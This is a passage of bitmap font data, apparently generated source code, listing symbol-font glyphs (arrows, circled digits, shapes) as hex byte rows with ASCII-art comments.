0x7C, # OOOOO
0xFE, # OOOOOOO
0xFE, # OOOOOOO
0xFE, # OOOOOOO
0x7C, # OOOOO
0x38, # OOO
0x00, #
0x00, #
0x00, #
# @1568 'T' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x04, 0x00, # O
0x0E, 0x00, # OOO
0x24, 0x80, # O O O
0x64, 0xC0, # OO O OO
0xD5, 0x60, # OO O O O OO
0x0E, 0x00, # OOO
0xD5, 0x60, # OO O O O OO
0x64, 0xC0, # OO O OO
0x24, 0x80, # O O O
0x0E, 0x00, # OOO
0x04, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1600 'U' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1C, 0x00, # OOO
0x14, 0x00, # O O
0x14, 0x00, # O O
0xF7, 0x80, # OOOO OOOO
0x80, 0x80, # O O
0xF7, 0x80, # OOOO OOOO
0x14, 0x00, # O O
0x14, 0x00, # O O
0x14, 0x00, # O O
0x14, 0x00, # O O
0x1C, 0x00, # OOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1632 'V' (10 pixels wide)
0x00, 0x00, #
0x1E, 0x00, # OOOO
0x12, 0x00, # O O
0x12, 0x00, # O O
0xF3, 0xC0, # OOOO OOOO
0x80, 0x40, # O O
0xF3, 0xC0, # OOOO OOOO
0x13, 0xC0, # O OOOO
0x12, 0x00, # O O
0x12, 0x00, # O O
0x12, 0x00, # O O
0x1E, 0x00, # OOOO
0x1E, 0x00, # OOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1664 'W' (10 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x0C, 0x00, # OO
0x1E, 0x00, # OOOO
0x3F, 0x00, # OOOOOO
0x6D, 0x80, # OO OO OO
0xFF, 0xC0, # OOOOOOOOOO
0xFF, 0xC0, # OOOOOOOOOO
0x6D, 0x80, # OO OO OO
0x3F, 0x00, # OOOOOO
0x0C, 0x00, # OO
0x0C, 0x00, # OO
0x0C, 0x00, # OO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1696 'X' (8 pixels wide)
0x00, #
0x00, #
0x00, #
0x00, #
0x3C, # OOOO
0x18, # OO
0x99, # O OO O
0xF7, # OOOO OOO
0xFF, # OOOOOOOO
0x99, # O OO O
0x18, # OO
0x3C, # OOOO
0x00, #
0x00, #
0x00, #
0x00, #
# @1712 'Y' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x08, 0x00, # O
0x08, 0x00, # O
0x14, 0x00, # O O
0xFF, 0x80, # OOOOOOOOO
0x63, 0x00, # OO OO
0x41, 0x00, # O O
0x63, 0x00, # OO OO
0xFF, 0x80, # OOOOOOOOO
0x14, 0x00, # O O
0x08, 0x00, # O
0x08, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1744 'Z' (10 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x38, 0x00, # OOO
0x60, 0x00, # OO
0xC0, 0x00, # OO
0xC0, 0x80, # OO O
0xC0, 0xC0, # OO OO
0xC0, 0xC0, # OO OO
0xC0, 0x00, # OO
0x60, 0x00, # OO
0x38, 0x00, # OOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1776 '[' (11 pixels wide)
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x21, 0x80, # O OO
0x40, 0x40, # O O
0xF0, 0x60, # OOOO OO
0xF8, 0x20, # OOOOO O
0xC8, 0xA0, # OO O O O
0xC8, 0xA0, # OO O O O
0xFC, 0x20, # OOOOOO O
0xFC, 0x60, # OOOOOO OO
0x7F, 0xC0, # OOOOOOOOO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1808 '\' (11 pixels wide)
0x00, 0x00, #
0x02, 0x00, # O
0x09, 0x00, # O O
0x07, 0x00, # OOO
0x3E, 0xC0, # OOOOO OO
0x3D, 0xE0, # OOOO OOOO
0x06, 0x20, # OO O
0x9F, 0x20, # O OOOOO O
0x83, 0x20, # O OO O
0x83, 0xE0, # O OOOOO
0x63, 0xC0, # OO OOOO
0x3E, 0x00, # OOOOO
0x1C, 0x00, # OOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1840 ']' (12 pixels wide)
0x00, 0x00, #
0x06, 0x00, # OO
0x6F, 0x60, # OO OOOO OO
0x7F, 0xE0, # OOOOOOOOOO
0x36, 0xC0, # OO OO OO
0x6F, 0x60, # OO OOOO OO
0xF9, 0xF0, # OOOOO OOOOO
0xF9, 0xF0, # OOOOO OOOOO
0x6F, 0x60, # OO OOOO OO
0x36, 0xC0, # OO OO OO
0x7F, 0xE0, # OOOOOOOOOO
0x6F, 0x60, # OO OOOO OO
0x06, 0x00, # OO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @1872 '^' (16 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x70, 0x0E, # OOO OOO
0xFC, 0x33, # OOOOOO OO OO
0xCC, 0x23, # OO OO O OO
0xC6, 0x63, # OO OO OO OO
0xC6, 0x43, # OO OO O OO
0x42, 0x46, # O O O OO
0x03, 0xC0, # OOOO
0x03, 0xC0, # OOOO
0x01, 0x80, # OO
0x01, 0x80, # OO
0x01, 0x80, # OO
0x01, 0x80, # OO
0x01, 0x80, # OO
0x01, 0x80, # OO
# @1904 '_' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xC0, 0x18, # OO OO
0x60, 0x30, # OO OO
0x20, 0x20, # O O
0x10, 0x40, # O O
0x18, 0xC0, # OO OO
0x0F, 0x80, # OOOOO
0x18, 0xC0, # OO OO
0x30, 0x60, # OO OO
0x20, 0x20, # O O
0x20, 0x20, # O O
0x20, 0x20, # O O
0x10, 0x40, # O O
0x18, 0xC0, # OO OO
0x0F, 0x80, # OOOOO
# @1936 '`' (12 pixels wide)
0x00, 0x00, #
0xC0, 0x30, # OO OO
0x7F, 0xE0, # OOOOOOOOOO
0x19, 0x80, # OO OO
0x19, 0x80, # OO OO
0x19, 0x80, # OO OO
0x19, 0x80, # OO OO
0x19, 0x80, # OO OO
0x19, 0x80, # OO OO
0x19, 0x80, # OO OO
0x19, 0x80, # OO OO
0x19, 0x80, # OO OO
0x3F, 0xC0, # OOOOOOOO
0xC0, 0x30, # OO OO
0x00, 0x00, #
0x00, 0x00, #
# @1968 'a' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x0F, 0xE0, # OOOOOOO
0x3F, 0xF8, # OOOOOOOOOOO
0x70, 0x0C, # OOO OO
0x8C, 0x00, # O OO
0x84, 0x78, # O O OOOO
0xCC, 0xCC, # OO OO OO OO
0x78, 0x84, # OOOO O O
0x00, 0xC4, # OO O
0xC0, 0x38, # OO OOO
0x7F, 0xF0, # OOOOOOOOOOO
0x1F, 0xC0, # OOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2000 'b' (12 pixels wide)
0x00, 0x00, #
0x07, 0x80, # OOOO
0x0C, 0xC0, # OO OO
0x18, 0x60, # OO OO
0x18, 0x60, # OO OO
0x18, 0x60, # OO OO
0x08, 0x60, # O OO
0x38, 0xC0, # OOO OO
0xCC, 0xC0, # OO OO OO
0x85, 0x80, # O O OO
0x85, 0x80, # O O OO
0xCD, 0x80, # OO OO OO
0x7B, 0x00, # OOOO OO
0x03, 0x00, # OO
0x03, 0x10, # OO O
0x01, 0xE0, # OOOO
# @2032 'c' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xDA, 0x00, # OO OO O
0x7F, 0x00, # OOOOOOO
0x6F, 0x00, # OO OOOO
0x6F, 0xC0, # OO OOOOOO
0x6F, 0x60, # OO OOOO OO
0x6F, 0x60, # OO OOOO OO
0x6F, 0x60, # OO OOOO OO
0x6F, 0x60, # OO OOOO OO
0x6F, 0x60, # OO OOOO OO
0x6F, 0xC0, # OO OOOOOO
0x6F, 0x80, # OO OOOOO
0x03, 0x00, # OO
0x05, 0x00, # O O
0x00, 0x80, # O
# @2064 'd' (12 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x0F, 0x00, # OOOO
0x1F, 0x80, # OOOOOO
0x39, 0xC0, # OOO OOO
0x30, 0xC0, # OO OO
0x10, 0x80, # O O
0xF9, 0xF0, # OOOOO OOOOO
0xF9, 0xF0, # OOOOO OOOOO
0x00, 0x00, #
0xFF, 0xF0, # OOOOOOOOOOOO
0xFF, 0xF0, # OOOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2096 'e' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xDB, 0x00, # OO OO OO
0x7F, 0x80, # OOOOOOOO
0x6D, 0x80, # OO OO OO
0x6D, 0x80, # OO OO OO
0x6D, 0x80, # OO OO OO
0x6D, 0x80, # OO OO OO
0x6D, 0x80, # OO OO OO
0x6D, 0x80, # OO OO OO
0x6D, 0x80, # OO OO OO
0x6D, 0x80, # OO OO OO
0x6D, 0x80, # OO OO OO
0x01, 0x90, # OO O
0x00, 0xF8, # OOOOO
0x00, 0x10, # O
# @2128 'f' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x07, 0x80, # OOOO
0x00, 0xC0, # OO
0x00, 0xE0, # OOO
0x01, 0x20, # O O
0x42, 0x20, # O O O
0x24, 0x20, # O O O
0x18, 0x00, # OO
0x18, 0x00, # OO
0x24, 0x00, # O O
0x42, 0x00, # O O
0x80, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2160 'g' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xE3, 0x00, # OOO OO
0x27, 0x00, # O OOO
0x35, 0x00, # OO O O
0x35, 0x00, # OO O O
0x18, 0x80, # OO O
0x18, 0x80, # OO O
0x18, 0xB8, # OO O OOO
0x18, 0xC4, # OO OO O
0x00, 0xC4, # OO O
0x00, 0xC4, # OO O
0x00, 0xB8, # O OOO
0x01, 0x00, # O
0x07, 0x00, # OOO
0x00, 0x00, #
# @2192 'h' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x11, 0x10, # O O O
0x2B, 0x30, # O O OO OO
0xCC, 0xC8, # OO OO OO O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x13, 0x30, # O OO OO
0x6E, 0xC8, # OO OOO OO O
0x88, 0x88, # O O O O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2224 'i' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x80, 0x80, # O O
0x41, 0x00, # O O
0x63, 0x00, # OO OO
0x36, 0x00, # OO OO
0x36, 0x00, # OO OO
0xFF, 0x80, # OOOOOOOOO
0x36, 0x00, # OO OO
0x36, 0x00, # OO OO
0x22, 0x00, # O O
0x63, 0x00, # OO OO
0xC1, 0x80, # OO OO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2256 'j' (15 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x1C, 0x02, # OOO O
0x25, 0xE2, # O O OOOO O
0x47, 0xFC, # O OOOOOOOOO
0xC8, 0x60, # OO O OO
0xF0, 0xC0, # OOOO OO
0xC1, 0x40, # OO O O
0xE2, 0xC0, # OOO O OO
0x7C, 0xC0, # OOOOO OO
0x00, 0x80, # O
0x00, 0x80, # O
0x00, 0x00, #
# @2288 'k' (18 pixels wide)
0x00, 0x00, 0x00, #
0x00, 0x00, 0x00, #
0x07, 0x00, 0x00, # OOO
0x19, 0x80, 0x80, # OO OO O
0x11, 0x80, 0x40, # O OO O
0x13, 0x00, 0x40, # O OO O
0x1C, 0xFF, 0x80, # OOO OOOOOOOOO
0x39, 0xFF, 0x00, # OOO OOOOOOOOO
0x4A, 0x10, 0x00, # O O O O
0xCC, 0x20, 0x80, # OO OO O O
0xC6, 0x40, 0xC0, # OO OO O OO
0xE3, 0x80, 0xC0, # OOO OOO OO
0x7D, 0x80, 0xC0, # OOOOO OO OO
0x00, 0xE1, 0x80, # OOO OO
0x00, 0x3E, 0x00, # OOOOO
0x00, 0x00, 0x00, #
# @2336 'l' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x3E, 0x00, # OOOOO
0x7F, 0x00, # OOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0x7F, 0x00, # OOOOOOO
0x3E, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2368 'm' (12 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1E, 0x00, # OOOO
0x21, 0xC0, # O OOO
0x40, 0x60, # O OO
0x80, 0x20, # O O
0x80, 0x30, # O OO
0x80, 0x30, # O OO
0x80, 0x30, # O OO
0x40, 0x70, # O OOO
0x60, 0xE0, # OO OOO
0x3F, 0xC0, # OOOOOOOO
0x07, 0x80, # OOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2400 'n' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2432 'o' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0xE0, # OOOOOOOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0x80, 0x20, # O O
0x80, 0x20, # O O
0x80, 0x20, # O O
0x80, 0x20, # O O
0x80, 0x20, # O O
0x80, 0x20, # O O
0x80, 0x20, # O O
0xFF, 0xE0, # OOOOOOOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2464 'p' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0xE0, # OOOOOOOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xFF, 0xE0, # OOOOOOOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2496 'q' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0xC0, # OOOOOOOOOO
0x80, 0x60, # O OO
0x80, 0x60, # O OO
0x80, 0x60, # O OO
0x80, 0x60, # O OO
0x80, 0x60, # O OO
0x80, 0x60, # O OO
0x80, 0x60, # O OO
0x80, 0x60, # O OO
0xFF, 0xE0, # OOOOOOOOOOO
0x7F, 0xE0, # OOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2528 'r' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x7F, 0xE0, # OOOOOOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0x80, 0x60, # O OO
0x80, 0x60, # O OO
0x80, 0x60, # O OO
0x80, 0x60, # O OO
0x80, 0x60, # O OO
0x80, 0x60, # O OO
0x80, 0x60, # O OO
0x80, 0x60, # O OO
0xFF, 0xC0, # OOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2560 's' (4 pixels wide)
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x60, # OO
0xF0, # OOOO
0xF0, # OOOO
0x60, # OO
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
# @2576 't' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x08, 0x00, # O
0x1C, 0x00, # OOO
0x1C, 0x00, # OOO
0x3E, 0x00, # OOOOO
0x7F, 0x00, # OOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0x7F, 0x00, # OOOOOOO
0x3E, 0x00, # OOOOO
0x1C, 0x00, # OOO
0x1C, 0x00, # OOO
0x08, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
# @2608 'u' (12 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x06, 0x00, # OO
0x0F, 0x00, # OOOO
0x1F, 0x80, # OOOOOO
0x3F, 0xC0, # OOOOOOOO
0x7F, 0xE0, # OOOOOOOOOO
0xFF, 0xF0, # OOOOOOOOOOOO
0xFF, 0xF0, # OOOOOOOOOOOO
0x7F, 0xE0, # OOOOOOOOOO
0x3F, 0xC0, # OOOOOOOO
0x1F, 0x80, # OOOOOO
0x0F, 0x00, # OOOO
0x06, 0x00, # OO
0x00, 0x00, #
0x00, 0x00, #
# @2640 'v' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x04, 0x00, # O
0x0E, 0x00, # OOO
0x0E, 0x00, # OOO
0x04, 0x00, # O
0x60, 0xC0, # OO OO
0xF1, 0xE0, # OOOO OOOO
0x60, 0xC0, # OO OO
0x04, 0x00, # O
0x0E, 0x00, # OOO
0x0E, 0x00, # OOO
0x04, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2672 'w' (6 pixels wide)
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x30, # OO
0x78, # OOOO
0xFC, # OOOOOO
0xFC, # OOOOOO
0x78, # OOOO
0x30, # OO
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
# @2688 'x' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0xF8, # OOOOOOOOOOOOO
0xFF, 0xF8, # OOOOOOOOOOOOO
0xC0, 0x18, # OO OO
0xC8, 0x98, # OO O O OO
0xCD, 0x98, # OO OO OO OO
0xC7, 0x18, # OO OOO OO
0xC7, 0x18, # OO OOO OO
0xCD, 0x98, # OO OO OO OO
0xC9, 0x18, # OO O O OO
0xFF, 0xF8, # OOOOOOOOOOOOO
0xFF, 0xF8, # OOOOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2720 'y' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0xF8, # OOOOOOOOOOOOO
0xFF, 0xF8, # OOOOOOOOOOOOO
0xC0, 0x18, # OO OO
0xC2, 0x18, # OO O OO
0xC7, 0x18, # OO OOO OO
0xCD, 0x98, # OO OO OO OO
0xD8, 0xD8, # OO OO OO OO
0xC0, 0x18, # OO OO
0xC0, 0x18, # OO OO
0xFF, 0xF8, # OOOOOOOOOOOOO
0xFF, 0xF8, # OOOOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2752 'z' (10 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x73, 0x80, # OOO OOO
0xFF, 0xC0, # OOOOOOOOOO
0xDE, 0xC0, # OO OOOO OO
0xFF, 0xC0, # OOOOOOOOOO
0x7F, 0x80, # OOOOOOOO
0x1E, 0x00, # OOOO
0x7F, 0x80, # OOOOOOOO
0xFF, 0xC0, # OOOOOOOOOO
0xDE, 0xC0, # OO OOOO OO
0xFF, 0xC0, # OOOOOOOOOO
0x73, 0x80, # OOO OOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2784 '{' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x71, 0x00, # OOO O
0x51, 0xC0, # O O OOO
0x4E, 0x40, # O OOO O
0x8A, 0x60, # O O O OO
0x84, 0x20, # O O O
0x7F, 0xC0, # OOOOOOOOO
0x44, 0x40, # O O O
0x64, 0xC0, # OO O OO
0x15, 0x00, # O O O
0x1B, 0x00, # OO OO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2816 '|' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x1F, 0x00, # OOOOO
0x7F, 0xC0, # OOOOOOOOO
0x7B, 0xC0, # OOOO OOOO
0x7F, 0xC0, # OOOOOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0x7F, 0xC0, # OOOOOOOOO
0x7B, 0xC0, # OOOO OOOO
0x1B, 0x00, # OO OO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2848 '}' (7 pixels wide)
0x00, #
0x66, # OO OO
0xCC, # OO OO
0xEE, # OOO OOO
0xEE, # OOO OOO
0xEE, # OOO OOO
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
# @2864 '~' (7 pixels wide)
0x00, #
0xEE, # OOO OOO
0xEE, # OOO OOO
0xEE, # OOO OOO
0x66, # OO OO
0xCC, # OO OO
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
# @2880 ' (6 pixels wide)
0x00, #
0x00, #
0xFC, # OOOOOO
0x84, # O O
0x84, # O O
0x84, # O O
0x84, # O O
0x84, # O O
0x84, # O O
0x84, # O O
0x84, # O O
0x84, # O O
0xFC, # OOOOOO
0x00, #
0x00, #
0x00, #
# @2896 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x20, 0x80, # O O
0x4E, 0x40, # O OOO O
0x91, 0x20, # O O O O
0x91, 0x20, # O O O O
0x91, 0x20, # O O O O
0x91, 0x20, # O O O O
0x91, 0x20, # O O O O
0x4E, 0x40, # O OOO O
0x20, 0x80, # O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2928 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x20, 0x80, # O O
0x44, 0x40, # O O O
0x8C, 0x20, # O OO O
0x84, 0x20, # O O O
0x84, 0x20, # O O O
0x84, 0x20, # O O O
0x84, 0x20, # O O O
0x44, 0x40, # O O O
0x20, 0x80, # O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2960 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x20, 0x80, # O O
0x4E, 0x40, # O OOO O
0x82, 0x20, # O O O
0x82, 0x20, # O O O
0x84, 0x20, # O O O
0x84, 0x20, # O O O
0x88, 0x20, # O O O
0x4E, 0x40, # O OOO O
0x20, 0x80, # O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @2992 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x20, 0x80, # O O
0x4F, 0x40, # O OOOO O
0x81, 0x20, # O O O
0x81, 0x20, # O O O
0x86, 0x20, # O OO O
0x81, 0x20, # O O O
0x81, 0x20, # O O O
0x4E, 0x40, # O OOO O
0x20, 0x80, # O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3024 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x20, 0x80, # O O
0x40, 0x40, # O O
0x84, 0x20, # O O O
0x8C, 0x20, # O OO O
0x8C, 0x20, # O OO O
0x9E, 0x20, # O OOOO O
0x84, 0x20, # O O O
0x44, 0x40, # O O O
0x20, 0x80, # O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3056 '
' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x20, 0x80, # O O
0x4F, 0x40, # O OOOO O
0x88, 0x20, # O O O
0x8C, 0x20, # O OO O
0x82, 0x20, # O O O
0x82, 0x20, # O O O
0x82, 0x20, # O O O
0x4C, 0x40, # O OO O
0x20, 0x80, # O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3088 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x20, 0x80, # O O
0x4F, 0x40, # O OOOO O
0x98, 0x20, # O OO O
0x90, 0x20, # O O O
0x9E, 0x20, # O OOOO O
0x91, 0x20, # O O O O
0x91, 0x20, # O O O O
0x4E, 0x40, # O OOO O
0x20, 0x80, # O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3120 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x20, 0x80, # O O
0x40, 0x40, # O O
0x8F, 0x20, # O OOOO O
0x82, 0x20, # O O O
0x82, 0x20, # O O O
0x84, 0x20, # O O O
0x84, 0x20, # O O O
0x48, 0x40, # O O O
0x20, 0x80, # O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3152 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x20, 0x80, # O O
0x4F, 0x40, # O OOOO O
0x91, 0x20, # O O O O
0x9A, 0x20, # O OO O O
0x8E, 0x20, # O OOO O
0x91, 0x20, # O O O O
0x91, 0x20, # O O O O
0x4E, 0x40, # O OOO O
0x20, 0x80, # O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3184 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x20, 0x80, # O O
0x4E, 0x40, # O OOO O
0x91, 0x20, # O O O O
0x93, 0x20, # O O OO O
0x8F, 0x20, # O OOOO O
0x81, 0x20, # O O O
0x82, 0x20, # O O O
0x5C, 0x40, # O OOO O
0x20, 0x80, # O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3216 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x20, 0x80, # O O
0x5B, 0x40, # O OO OO O
0x8C, 0xA0, # O OO O O
0x8C, 0xA0, # O OO O O
0x8C, 0xA0, # O OO O O
0x8C, 0xA0, # O OO O O
0x8C, 0xA0, # O OO O O
0x4B, 0x40, # O O OO O
0x20, 0x80, # O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3248 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x71, 0xC0, # OOO OOO
0xEE, 0xE0, # OOO OOO OOO
0xEE, 0xE0, # OOO OOO OOO
0xEE, 0xE0, # OOO OOO OOO
0xEE, 0xE0, # OOO OOO OOO
0xEE, 0xE0, # OOO OOO OOO
0x71, 0xC0, # OOO OOO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3280 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x7B, 0xC0, # OOOO OOOO
0xF3, 0xE0, # OOOO OOOOO
0xFB, 0xE0, # OOOOO OOOOO
0xFB, 0xE0, # OOOOO OOOOO
0xFB, 0xE0, # OOOOO OOOOO
0xFB, 0xE0, # OOOOO OOOOO
0x7B, 0xC0, # OOOO OOOO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3312 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x61, 0xC0, # OO OOO
0xFE, 0xE0, # OOOOOOO OOO
0xFE, 0xE0, # OOOOOOO OOO
0xFD, 0xE0, # OOOOOO OOOO
0xF3, 0xE0, # OOOO OOOOO
0xEF, 0xE0, # OOO OOOOOOO
0x60, 0xC0, # OO OO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3344 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x70, 0xC0, # OOO OO
0xFE, 0xE0, # OOOOOOO OOO
0xFE, 0xE0, # OOOOOOO OOO
0xF9, 0xE0, # OOOOO OOOO
0xFE, 0xE0, # OOOOOOO OOO
0xFE, 0xE0, # OOOOOOO OOO
0x71, 0xC0, # OOO OOO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3376 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x79, 0xC0, # OOOO OOO
0xF1, 0xE0, # OOOO OOOO
